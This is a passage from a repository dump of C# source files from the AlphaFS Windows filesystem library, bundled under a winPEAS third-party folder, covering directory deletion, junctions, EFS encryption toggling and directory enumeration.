throw an when the directory does not exist. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void DeleteDirectoryCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string path, bool recursive, bool ignoreReadOnly, bool continueOnNotFound, PathFormat pathFormat) { if (null == fsEntryInfo) { if (null == path) throw new ArgumentNullException("path"); fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator), continueOnNotFound, pathFormat); if (null == fsEntryInfo) return; } PrepareDirectoryForDelete(transaction, fsEntryInfo, ignoreReadOnly); // Do not follow mount points nor symbolic links, but do delete the reparse point itself. // If directory is reparse point, disable recursion. if (recursive && !fsEntryInfo.IsReparsePoint) { // The stack will contain the entire folder structure to prevent any open directory handles because of enumeration. // The root folder is at the bottom of the stack. var dirs = new Stack(NativeMethods.DefaultFileBufferSize); foreach (var fsei in EnumerateFileSystemEntryInfosCore(null, transaction, fsEntryInfo.LongFullPath, Path.WildcardStarMatchAll, null, DirectoryEnumerationOptions.Recursive, null, PathFormat.LongFullPath)) { PrepareDirectoryForDelete(transaction, fsei, ignoreReadOnly); if (fsei.IsDirectory) dirs.Push(fsei.LongFullPath); else File.DeleteFileCore(transaction, fsei.LongFullPath, ignoreReadOnly, fsei.Attributes, PathFormat.LongFullPath); } while (dirs.Count > 0) DeleteDirectoryNative(transaction, dirs.Pop(), ignoreReadOnly, continueOnNotFound, 0); } DeleteDirectoryNative(transaction, fsEntryInfo.LongFullPath, ignoreReadOnly, continueOnNotFound, fsEntryInfo.Attributes); } internal static void PrepareDirectoryForDelete(KernelTransaction transaction, FileSystemEntryInfo fsei, bool ignoreReadOnly) { // Check to see if the folder is a mount point and unmount it. Only then is it safe to delete the actual folder. if (fsei.IsMountPoint) DeleteJunctionCore(transaction, fsei, null, false, PathFormat.LongFullPath); // Reset attributes to Normal if we already know the facts. if (ignoreReadOnly && (fsei.IsReadOnly || fsei.IsHidden)) File.SetAttributesCore(transaction, fsei.IsDirectory, fsei.LongFullPath, FileAttributes.Normal, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.DeleteDirectoryNative.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Runtime.InteropServices; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] private static void DeleteDirectoryNative(KernelTransaction transaction, string pathLp, bool ignoreReadOnly, bool continueOnNotFound, FileAttributes attributes) { startRemoveDirectory: var success = null == transaction || !NativeMethods.IsAtLeastWindowsVista // RemoveDirectory() / RemoveDirectoryTransacted() // 2014-09-09: MSDN confirms LongPath usage. // RemoveDirectory on a symbolic link will remove the link itself. ? NativeMethods.RemoveDirectory(pathLp) : NativeMethods.RemoveDirectoryTransacted(pathLp, transaction.SafeHandle); var lastError = Marshal.GetLastWin32Error(); if (!success) { switch ((uint) lastError) { case Win32Errors.ERROR_DIR_NOT_EMPTY: // MSDN: .NET 3.5+: IOException: The directory specified by path is not an empty directory. throw new DirectoryNotEmptyException(pathLp, true); case Win32Errors.ERROR_DIRECTORY: // MSDN: .NET 3.5+: DirectoryNotFoundException: Path refers to a file instead of a directory. if (File.ExistsCore(transaction, false, pathLp, PathFormat.LongFullPath)) throw new DirectoryNotFoundException(string.Format(CultureInfo.InvariantCulture, "({0}) {1}", lastError, string.Format(CultureInfo.InvariantCulture, Resources.Target_Directory_Is_A_File, pathLp))); break; case Win32Errors.ERROR_PATH_NOT_FOUND: if (continueOnNotFound) return; break; case Win32Errors.ERROR_SHARING_VIOLATION: // MSDN: .NET 3.5+: IOException: The directory is being used by another process or there is an open handle on the directory. NativeError.ThrowException(lastError, pathLp); break; case Win32Errors.ERROR_ACCESS_DENIED: if (attributes == 0) { var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); if (File.FillAttributeInfoCore(transaction, pathLp, ref attrs, false, true) == Win32Errors.NO_ERROR) attributes = attrs.dwFileAttributes; } if (File.IsReadOnlyOrHidden(attributes)) { // MSDN: .NET 3.5+: IOException: The directory specified by path is read-only. if (ignoreReadOnly) { // Reset attributes to Normal. File.SetAttributesCore(transaction, true, pathLp, FileAttributes.Normal, PathFormat.LongFullPath); goto startRemoveDirectory; } // MSDN: .NET 3.5+: IOException: The directory is read-only. throw new DirectoryReadOnlyException(pathLp); } // MSDN: .NET 3.5+: UnauthorizedAccessException: The caller does not have the required permission. if (attributes == 0) NativeError.ThrowException(lastError, File.IsDirectory(attributes), pathLp); break; } // MSDN: .NET 3.5+: IOException: // A file with the same name and location specified by path exists. // The directory specified by path is read-only, or recursive is false and path is not an empty directory. // The directory is the application's current working directory. // The directory contains a read-only file. // The directory is being used by another process. NativeError.ThrowException(lastError, pathLp); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.DeleteEmptySubdirectoriesCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Delete empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// A FileSystemEntryInfo instance. Use either or , not both. /// The transaction. /// The name of the directory to remove empty subdirectories from. Use either or , not both. /// true deletes empty subdirectories from this directory and its subdirectories. /// true overrides read only of empty directories. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void DeleteEmptySubdirectoriesCore(FileSystemEntryInfo fsEntryInfo, KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat) { #region Setup if (null == fsEntryInfo) { if (pathFormat == PathFormat.RelativePath) Path.CheckSupportedPathFormat(path, true, true); if (!File.ExistsCore(transaction, true, path, pathFormat)) NativeError.ThrowException(Win32Errors.ERROR_PATH_NOT_FOUND, path); fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck), false, pathFormat); if (null == fsEntryInfo) return; } #endregion // Setup // Ensure path is a directory. if (!fsEntryInfo.IsDirectory) throw new IOException(string.Format(CultureInfo.InvariantCulture, Resources.Target_Directory_Is_A_File, fsEntryInfo.LongFullPath)); var dirs = new Stack(1000); dirs.Push(fsEntryInfo.LongFullPath); while (dirs.Count > 0) { foreach (var fsei in EnumerateFileSystemEntryInfosCore(true, transaction, dirs.Pop(), Path.WildcardStarMatchAll, null, DirectoryEnumerationOptions.ContinueOnException, null, PathFormat.LongFullPath)) { // Ensure the directory is empty. if (IsEmptyCore(transaction, fsei.LongFullPath, pathFormat)) DeleteDirectoryCore(transaction, fsei, null, false, ignoreReadOnly, true, PathFormat.LongFullPath); else if (recursive) dirs.Push(fsei.LongFullPath); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.DeleteJunctionCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Globalization; using System.IO; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Deletes an NTFS directory junction. /// Only the directory junction is removed, not the target. /// A instance referencing the junction point. /// /// /// /// /// /// /// /// The transaction. /// A FileSystemEntryInfo instance. Use either or , not both. /// The path of the junction point to remove. /// When true, also removes the directory and all its contents. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void DeleteJunctionCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string junctionPath, bool removeDirectory, PathFormat pathFormat) { if (null == fsEntryInfo) { if (pathFormat != PathFormat.LongFullPath) { Path.CheckSupportedPathFormat(junctionPath, true, true); junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.RemoveTrailingDirectorySeparator); pathFormat = PathFormat.LongFullPath; } fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, junctionPath, false, pathFormat); if (!fsEntryInfo.IsMountPoint) throw new NotAReparsePointException(string.Format(CultureInfo.InvariantCulture, Resources.Directory_Is_Not_A_MountPoint, fsEntryInfo.LongFullPath), (int) Win32Errors.ERROR_NOT_A_REPARSE_POINT); } pathFormat = PathFormat.LongFullPath; // Remove the directory junction. using (var safeHandle = OpenDirectoryJunction(transaction, fsEntryInfo.LongFullPath, pathFormat)) Device.DeleteDirectoryJunction(safeHandle); // Optionally the folder itself, which should and must be empty. if (removeDirectory) DeleteDirectoryCore(transaction, fsEntryInfo, null, false, false, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.EnableDisableEncryptionCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Enables/disables encryption of the specified directory and the files in it. /// This method only creates/modifies the file "Desktop.ini" in the root of and enables/disables encryption by writing: "Disable=0" or "Disable=1". /// This method does not affect encryption of files and subdirectories below the indicated directory. /// /// /// /// /// /// /// /// /// The name of the directory for which to enable encryption. /// true enabled encryption, false disables encryption. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void EnableDisableEncryptionCore(string path, bool enable, PathFormat pathFormat) { if (Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); // EncryptionDisable() // 2013-01-13: MSDN does not confirm LongPath usage and no Unicode version of this function exists. var success = NativeMethods.EncryptionDisable(pathLp, !enable); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, true, pathLp); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.EncryptDecryptDirectoryCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Decrypts/encrypts a directory recursively so that only the account used to encrypt the directory can decrypt it. /// /// /// /// /// /// /// /// A path that describes a directory to encrypt. /// true encrypt, false decrypt. /// true to decrypt the directory recursively. false only decrypt files and directories in the root of . /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void EncryptDecryptDirectoryCore(string path, bool encrypt, bool recursive, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath) { path = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); pathFormat = PathFormat.LongFullPath; } // Process folders and files when recursive. if (recursive) { foreach (var fsei in EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, SearchOption.AllDirectories, DirectoryEnumerationOptions.AsLongPath, null, pathFormat)) File.EncryptDecryptFileCore(true, fsei, encrypt, pathFormat); } // Process the root folder, the given path. File.EncryptDecryptFileCore(true, path, encrypt, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.EnumerateFileIdBothDirectoryInfoCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Collections.Generic; using System.ComponentModel; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Returns an enumerable collection of information about files in the directory handle specified. /// An IEnumerable of records for each file system entry in the specified diretory. /// The operating system is older than Windows Vista. /// /// Either use or , not both. /// /// The number of files that are returned for each call to GetFileInformationByHandleEx depends on the size of the buffer that is passed to the function. /// Any subsequent calls to GetFileInformationByHandleEx on the same handle will resume the enumeration operation after the last file is returned. /// /// /// The operating system is older than Windows Vista. /// The transaction. /// An open handle to the directory from which to retrieve information. /// A path to the directory. /// The mode with which to open a handle to the directory. /// true suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static IEnumerable EnumerateFileIdBothDirectoryInfoCore(KernelTransaction transaction, SafeFileHandle safeFileHandle, string path, FileShare shareMode, bool continueOnException, PathFormat pathFormat) { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message); var pathLp = path; var callerHandle = null != safeFileHandle; if (!callerHandle) { if (Utils.IsNullOrWhiteSpace(path)) throw new ArgumentNullException("path"); pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); safeFileHandle = File.CreateFileCore(transaction, true, pathLp, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, shareMode, true, false, PathFormat.LongFullPath); } try { if (!NativeMethods.IsValidHandle(safeFileHandle, Marshal.GetLastWin32Error(), !continueOnException)) yield break; var fileNameOffset = (int) Marshal.OffsetOf(typeof(NativeMethods.FILE_ID_BOTH_DIR_INFO), "FileName"); using (var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.DefaultFileBufferSize)) { while (true) { var success = NativeMethods.GetFileInformationByHandleEx(safeFileHandle, NativeMethods.FILE_INFO_BY_HANDLE_CLASS.FILE_ID_BOTH_DIR_INFO, safeBuffer, (uint) safeBuffer.Capacity); var lastError = Marshal.GetLastWin32Error(); if (!success) { switch ((uint) lastError) { case Win32Errors.ERROR_SUCCESS: case Win32Errors.ERROR_NO_MORE_FILES: case Win32Errors.ERROR_HANDLE_EOF: yield break; case Win32Errors.ERROR_MORE_DATA: continue; default: NativeError.ThrowException(lastError, pathLp); // Keep the compiler happy as we never get here. yield break; } } var offset = 0; NativeMethods.FILE_ID_BOTH_DIR_INFO fibdi; do { fibdi = safeBuffer.PtrToStructure(offset); var fileName = safeBuffer.PtrToStringUni(offset + fileNameOffset, (int) (fibdi.FileNameLength / UnicodeEncoding.CharSize)); offset += fibdi.NextEntryOffset; if (File.IsDirectory(fibdi.FileAttributes) && (fileName.Equals(Path.CurrentDirectoryPrefix, StringComparison.Ordinal) || fileName.Equals(Path.ParentDirectoryPrefix, StringComparison.Ordinal))) continue; yield return new FileIdBothDirectoryInfo(fibdi, fileName); } while (fibdi.NextEntryOffset != 0); } } } finally { // Handle is ours, dispose. if (!callerHandle && null != safeFileHandle && !safeFileHandle.IsClosed) safeFileHandle.Close(); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.EnumerateFileSystemEntryInfosCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path using and . /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static IEnumerable EnumerateFileSystemEntryInfosCore(bool? onlyFolders, KernelTransaction transaction, string path, string searchPattern, SearchOption? searchOption, DirectoryEnumerationOptions? options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { if (null == options) options = DirectoryEnumerationOptions.None; if (searchOption == SearchOption.AllDirectories) options |= DirectoryEnumerationOptions.Recursive; if (null != onlyFolders) { // Adhere to the method name by validating the DirectoryEnumerationOptions value. // For example, method Directory.EnumerateDirectories() should only return folders // and method Directory.EnumerateFiles() should only return files. // Folders only. if ((bool) onlyFolders) { options &= ~DirectoryEnumerationOptions.Files; // Remove enumeration of files. options |= DirectoryEnumerationOptions.Folders; // Add enumeration of folders. } // Files only. else { options &= ~DirectoryEnumerationOptions.Folders; // Remove enumeration of folders. options |= DirectoryEnumerationOptions.Files; // Add enumeration of files. } } return new FindFileSystemEntryInfo(transaction, true, path, searchPattern, options, filters, pathFormat, typeof(T)).Enumerate(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.ExistsJunctionCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. /// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The transaction. /// A FileSystemEntryInfo instance. Use either or , not both. /// The path to test. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static bool ExistsJunctionCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string junctionPath, PathFormat pathFormat) { if (null == fsEntryInfo) { if (pathFormat != PathFormat.LongFullPath) { Path.CheckSupportedPathFormat(junctionPath, true, true); junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.RemoveTrailingDirectorySeparator); pathFormat = PathFormat.LongFullPath; } fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, junctionPath, true, pathFormat); } return null != fsEntryInfo && fsEntryInfo.IsMountPoint; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.GetDirectoryRootCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Returns the volume information, root information, or both for the specified path. /// The volume information, root information, or both for the specified path, or null if path does not contain root directory information. /// /// /// /// The transaction. /// The path of a file or directory. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static string GetDirectoryRootCore(KernelTransaction transaction, string path, PathFormat pathFormat) { var pathLp = path; if (pathFormat != PathFormat.LongFullPath) { Path.CheckInvalidUncPath(path); pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.CheckInvalidPathChars); pathLp = Path.GetRegularPathCore(pathLp, GetFullPathOptions.None, false); } var rootPath = Path.GetPathRoot(pathLp, false); return Utils.IsNullOrWhiteSpace(rootPath) ? null : rootPath; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.GetParentCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace 